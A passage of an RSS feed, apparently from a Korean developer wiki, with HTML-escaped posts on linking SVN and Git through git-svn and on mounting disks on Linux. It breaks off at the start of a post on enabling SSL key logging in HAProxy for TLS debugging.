&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git svn dcommit --username &amp;lt;svn username&amp;gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; </description><pubDate>Wed, 30 Oct 2024 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/manual/git</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/manual/git</guid> <category>git</category> <category>gitsvn</category> <category>manual</category> </item> <item><title>SVN 의 내용을 깃으로 연동하는 방법</title><description> &lt;h1 id=&quot;방법&quot;&gt;방법&lt;/h1&gt; &lt;p&gt;깃과 svn을 연동하는 명령어 설치&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;apt-get install git-svn &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;깃저장소 클론&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git clone git@gitlab.iasdf.com:proj/projtest.git &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;깃 svn init&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;# git svn init [[SVN_URL]] -T Trunk -b Branches -t Tags --prefix=origin/ git svn init svn://10.1.1.10/path/to/branch --prefix=origin/ --id=svn --svn-remote=svn --username=root &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;깃 fetch로 변경내용 불러오기&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git svn fetch &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이후 푸시&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;# 필자는 git-svn 브랜치로 하나 따서 진행함. git checkout -b git-svn remotes/svn/git-svn git push origin git-svn &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;main에 git-svn 내용을 머지&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git checkout main git pull origin git-svn --allow-unrelated-histories git push origin main &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;svn 내용 추가로 가져오기&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git checkout git-svn git svn rebase git push orign git-svn # main 병합 git checkout main git pull origin git-svn --allow-unrelated-histories git push origin main &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;svn dcommit&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git svn fetch git rebase remotes/svn/git-svn git svn dcommit --username &amp;lt;svn username&amp;gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;git config 적용&lt;/p&gt; &lt;p&gt;해당 git config 적용 시 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git svn init&lt;/code&gt; 명령어 사용하지 않아도 됨.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git config --local include.path ../.gitconfig 이후 .gitconfig 파일을 생성하여 적용 [svn-remote &quot;repo1&quot;] url = svn://ip/repo/1/ fetch = :refs/remotes/origin/repo1 [svn-remote &quot;repo2&quot;] url = svn://ip/repo/2 fetch = :refs/remotes/origin/repo2 &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; </description><pubDate>Wed, 30 Oct 2024 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/git/svn_to_git</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/git/svn_to_git</guid> <category>git</category> <category>svn</category> <category>git</category> </item> <item><title>svn을 사용하는 곳에서 git으로 버전 관리하기</title><description> &lt;h1&gt;목차&lt;/h1&gt; &lt;hr /&gt; &lt;h1 id=&quot;개요&quot;&gt;개요&lt;/h1&gt; &lt;p&gt;Git은 현재 svn보다 더 많은 기능과 플러그인을 지원하기 때문에 svn에 비해 히스토리 관리도 쉽고 병합, 분기도 더 쉽게 할 수 있다.&lt;/p&gt; &lt;p&gt;그러나 레거시 프로젝트에서는 svn을 주로 사용하고, svn 시스템과 연동하여 사용하고 있는 것 (이슈 트래커 등)들이 많을수록 깃으로 전환하기가 어려울 것이다.&lt;/p&gt; &lt;p&gt;이 때 git-svn을 통해 svn의 히스토리를 git으로 손실 없이 가져와 svn 형상관리를 유지하면서도 git을 통해 히스토리를 살펴보는 등의 기능을 사용할 수 있는 방법을 기술한다.&lt;/p&gt; &lt;p&gt;svn의 모든 기능을 완벽하게 지원하는 것이 아니며 svn의 branch 등의 기능은 git-svn에서 지원하지 않는 것으로 확인되었다.&lt;/p&gt; &lt;h1 id=&quot;필요-라이브러리&quot;&gt;필요 라이브러리&lt;/h1&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;apt-get &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;git-svn &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h1 id=&quot;svn---git&quot;&gt;SVN -&amp;gt; Git&lt;/h1&gt; &lt;ol&gt; &lt;li&gt;디렉토리 생성&lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;mkdir test cd test&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ol&gt; &lt;li&gt;Git Init&lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git init &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ol&gt; &lt;li&gt;git svn setting&lt;/li&gt; &lt;/ol&gt; &lt;ul&gt; &lt;li&gt;git svn init 진행&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git svn init svn://&amp;lt;SVN IP&amp;gt;/&amp;lt;SVN PATH&amp;gt; &lt;span class=&quot;nt&quot;&gt;--prefix&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;origin/ &lt;span class=&quot;nt&quot;&gt;--id&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;svn &lt;span class=&quot;nt&quot;&gt;--svn-remote&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;원하는 이름&amp;gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&amp;lt;svn 계정명&amp;gt; &lt;span class=&quot;c&quot;&gt;# example ) git svn init svn://svn.iasdf.com/testjenkins --prefix=origin/ --svn-remote jenkins&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.git/config&lt;/code&gt; 열어 파일 수정&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;remote branch name&amp;gt;&lt;/code&gt; 에 자신의 로컬 브랜치 이름 또는 원하는 브랜치 이름을 넣어준다.&lt;/p&gt; &lt;div class=&quot;language-diff highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;[svn-remote &quot;&amp;lt;원하는 이름&amp;gt;&quot;] url = svn://&amp;lt;SVN IP&amp;gt;/&amp;lt;SVN PATH&amp;gt; &lt;span class=&quot;gd&quot;&gt;- fetch = :refs/remotes/origin/git-svn &lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;+ fetch = :refs/remotes/origin/&amp;lt;remote branch name&amp;gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt; &lt;/span&gt;# example ) fetch = :refs/remotes/origin/master &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ol&gt; &lt;li&gt;git svn fetch 이 때 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--svn-remote&lt;/code&gt; 옵션을 준 사람은 해당 옵션값으로 fetch 진행한다.&lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git svn fetch git svn fetch &amp;lt;svn remote name&amp;gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ol&gt; &lt;li&gt;rebase 하여 svn에서 가져온 정보를 업데이트한다.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;rebase하는 브랜치 명은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.git/config&lt;/code&gt; 파일에 넣었던 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;remote branch name&amp;gt;&lt;/code&gt; 이다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git rebase remotes/origin/&amp;lt;remote branch name&amp;gt; &lt;span class=&quot;c&quot;&gt;# 예시 ) git rebase remotes/origin/master&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이후 svn의 정보를 가져올 때에는 fetch와 rebase만 진행하면 된다.&lt;/p&gt; &lt;h1 id=&quot;git의-변경사항을-svn에-반영&quot;&gt;Git의 변경사항을 SVN에 반영&lt;/h1&gt; &lt;p&gt;README.md를 수정하였음.&lt;/p&gt; &lt;ol&gt; &lt;li&gt;add&lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git add README.md &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ol&gt; &lt;li&gt;변경내용 커밋&lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git commit &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;README.md 수정&quot;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ol&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git svn dcommit&lt;/code&gt; 사용&lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git svn dcommit &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;dcommit 시 변경내용이 반영된다.&lt;/p&gt; &lt;p&gt;만약 git svn fetch를 실행하고 변경 파일 또는 untracked 존재하는 경우 다음과 같은 방법을 사용해본다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git update-index &lt;span class=&quot;nt&quot;&gt;--assume-unchanged&lt;/span&gt; &amp;lt;file&amp;gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; </description><pubDate>Wed, 30 Oct 2024 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/git/git_svn_local</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/git/git_svn_local</guid> <category>git</category> <category>svn</category> <category>git</category> </item> <item><title>Linux 디스크 마운트</title><description> &lt;h1&gt;목차&lt;/h1&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#방법&quot;&gt;방법&lt;/a&gt; - &lt;a href=&quot;#exfat이-없다면&quot;&gt;exfat이 없다면?&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h1 id=&quot;방법&quot;&gt;방법&lt;/h1&gt; &lt;p&gt;디스크를 꽂고 아래 명령어 리스트로 마운트된 디스크를 확인한다.&lt;/p&gt; &lt;p&gt;아래 명령어들을 사용하면 디스크 정보를 확인할 수 있다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;# fdisk 명령어로 확인하기 fdisk -l # lsblk 명령어로 확인하기 lsblk lsblk -lp &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/dev/sdd1&lt;/code&gt; 를 마운트시킨다고 해보자.&lt;/p&gt; &lt;p&gt;아래 명령어로 마운트될 디렉토리를 생성한다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;mkdir -p /media/usb &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;마운트할 디스크 타입을 확인한다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;# 1. blkid 명령어로 확인 blkid # 2. fdisk -l 명령어로 확인 fdisk -l # 3. /etc/fstab 내용으로 확인 cat /etc/fstab &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mount&lt;/code&gt; 명령어로 마운트한다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;mount /dev/sdd1 /media/usb # ntfs type mount -t ntfs /dev/sdd1 /media/usb # fat32 (vfat) type mount -t vfat /dev/sdd1 /media/usb # exfat type mount -t exfat /dev/sdd1 /media/usb &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h4 id=&quot;exfat이-없다면&quot;&gt;exfat이 없다면?&lt;/h4&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ErrorMsg: mount: unknown filesystem type &apos;exfat&apos;&lt;/code&gt; 메세지가 나올 경우 아래 명령어로 설치한다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;apt-get install exfat-fuse # apt-get install exfat-fuse 가 되지 않을 경우 아래 명령어로 exfat-fuse ppa를 추가한다. apt-add-repository ppa:relan/exfat &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이후 다시 마운트 진행.&lt;/p&gt; </description><pubDate>Thu, 05 Sep 2024 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/linux/mount</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/linux/mount</guid> <category>linux</category> <category>mount</category> <category>disk</category> <category>linux</category> </item> <item><title>HAproxy ssl key log</title><description> &lt;h1&gt;목차&lt;/h1&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#개요&quot;&gt;개요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#방법&quot;&gt;방법&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#haproxy-스펙-확인&quot;&gt;HAProxy 스펙 확인&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#sslkeylog-루아-스크립트-다운로드&quot;&gt;sslkeylog 루아 스크립트 다운로드&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#haproxy-설정-및-스크립트-적용&quot;&gt;HAProxy 설정 및 스크립트 적용&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h1 id=&quot;개요&quot;&gt;개요&lt;/h1&gt; &lt;p&gt;HAProxy에서 sslkeylog를 설정하지 않으니 암호화된 TLS 패킷이 제대로 흐르는지 분석이 어려웠다. 이를 위해 HAProxy에서 SSL Key Log를 설정하는 방법을 알아보자.&lt;/p&gt; &lt;h1 id=&quot;방법&quot;&gt;방법&lt;/h1&gt; &lt;h2 id=&quot;haproxy-스펙-확인&quot;&gt;HAProxy 스펙 확인&lt;/h2&gt; &lt;p&gt;HAProxy에서 LUA를 지원해야 한다. &lt;br /&gt; 아래 명령어로 LUA 스크립트를 지원하는지 확인할 수 있다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;haproxy 